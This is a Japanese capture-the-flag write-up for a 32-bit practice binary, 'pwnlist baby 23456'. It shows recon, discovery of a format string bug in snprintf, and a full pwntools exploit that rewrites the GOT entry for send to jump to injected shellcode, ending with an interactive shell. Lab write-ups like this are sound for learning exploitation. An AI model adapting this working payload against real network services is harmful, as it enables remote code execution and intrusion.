pwnlist baby 23456
下調べ
mattun-mart@4ctf:~/pwn/baby/23456$ file 23456 | sed -e "s/,/\n/g" 23456: ELF 32-bit LSB executable Intel 80386 version 1 (SYSV) dynamically linked (uses shared libs) for GNU/Linux 2.6.24 BuildID[sha1]=438f6363ee8ae76620a941c2cc0eb231adb8579c not stripped
mattun-mart@4ctf:~/pwn/baby/23456$ checksec.sh --file 23456 RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO No canary found NX disabled Not an ELF file No RPATH No RUNPATH 23456
ubuntu14.04 64bitで動かしてる.
SSPやNXが無効.
解析
実行ファイルを起動させると23456ポートで接続を待ち受けているので接続してみる.
接続するとマヤカレンダーが終わる前に言いたいことは何と聞かれて入力を待ち受ける.
テキトーに入力すると,カウントダウンが始まって入力内容がアスキーアートの中で表示され,プログラムは終了する.
What would be the last word you want say before the Mayan Calender ends? Saying: aaaaaaaa Starting count down to the end of the world! 5 4 3 2 1 0 ooO ooOOOo oOOOOOOoooo ooOOOooo /vvv\ /V V V\ /V V V\ / V \ / VV \ __________ / VVV \ | | / VVVV \ |aaaaaaaa| / VVVVV \ |__________| VVVVVVVVVVVVV |
いろいろ入力して遊んでいると以下のようにFSBがあることが分かった.
5回目の%pで入力の0x61616161が出力されている.
mattun-mart@4ctf:~/pwn/baby/23456$ nc localhost 23456 What would be the last word you want say before the Mayan Calender ends? Saying: aaaaaaaa%p,%p,%p,%p,%p,%p,%p,%p Starting count down to the end of the world! 5 4 3 2 1 0 ooO ooOOOo oOOOOOOoooo ooOOOooo /vvv\ /V V V\ /V V V\ / V \ / VV \ __________ / VVV \ | | / VVVV \ |aaaaaaaa(nil),0xf7fdab18,0x3,0xffffce28,0x61616161,0x61616161,0x6c696e28,0x78302c29| / VVVVV \ |__________| VVVVVVVVVVVVV |
snprintf関数にFSBがあるので任意メモリの書き換えが可能なことがわかった.
Exploit
今回はNXが無効なので入力(bss領域)にでもシェルコードを積んでおいて,都合の良いGOT領域のアドレスをシェルコードが積まれたアドレスに書き換えてあげればよさそう.
書き換えるGOT領域のアドレスとしては,FSBを利用した任意メモリの書き換え後,最初に呼ばれる関数が良い.デバッガで動かしていくとsnprintfのFSBを利用した書き換え後最初に呼ばれる関数はcd関数の中にあるsend関数だった.
ということで,以下のような感じで,GOT領域のsend関数のアドレスをシェルコードのアドレスに書き換えるように入力を構成する.
シェルコードは,入力内容が格納されるアドレスの先頭から100後に決め打ちで乗せることにした.(シェルコードのアドレスは入力のアドレス + 100 = 0x804b184)
ちょっと雑だけど,以下Exploitコード.
#!/usr/bin/env python # -*- coding:utf-8 -*- from pwn import * import struct host = 'localhost' port = 23456 conn = remote(host, port) input_addr = 0x804b120 shellcode_addr = input_addr + 100 shellcode_addr_high = shellcode_addr >> 16 shellcode_addr_low = shellcode_addr & 0x000FFFF elf = ELF('./23456') send_got_addr= elf.got['send'] shellcode = asm(shellcraft.dupsh(4)) shellcode += asm(shellcraft.sh()) offset = (shellcode_addr_high + 0x10000) - shellcode_addr_low payload = p32(send_got_addr) payload += p32(send_got_addr + 2) payload += "%" + str(shellcode_addr_low - 8) + "x" payload += "%5$hn" payload += "%" + str(offset) + "x" payload += "%6$hn" payload += "A" * (100 - len(payload)) payload += shellcode payload += "\n" conn.recv() conn.send(payload) conn.interactive()
結果
mattun-mart@4ctf:~/pwn/baby/23456$ python exploit.py [+] Opening connection to localhost on port 23456: Done [*] '/home/mattun-mart/pwn/baby/23456/23456' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments [*] Switching to interactive mode $ ls 23456 dump exploit.py peda-session-23456.txt $